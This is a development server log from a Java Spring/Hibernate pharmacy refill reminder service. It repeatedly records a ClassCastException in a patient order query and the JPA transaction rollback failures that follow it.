java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 17:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 17:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 17:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 17:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 17:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 17:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 17:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 17:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 17:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 17:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 17:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 17:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 17:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 17:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 17:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 17:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 17:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 17:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 17:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 17:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 17:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 17:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 17:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 17:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 17:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at 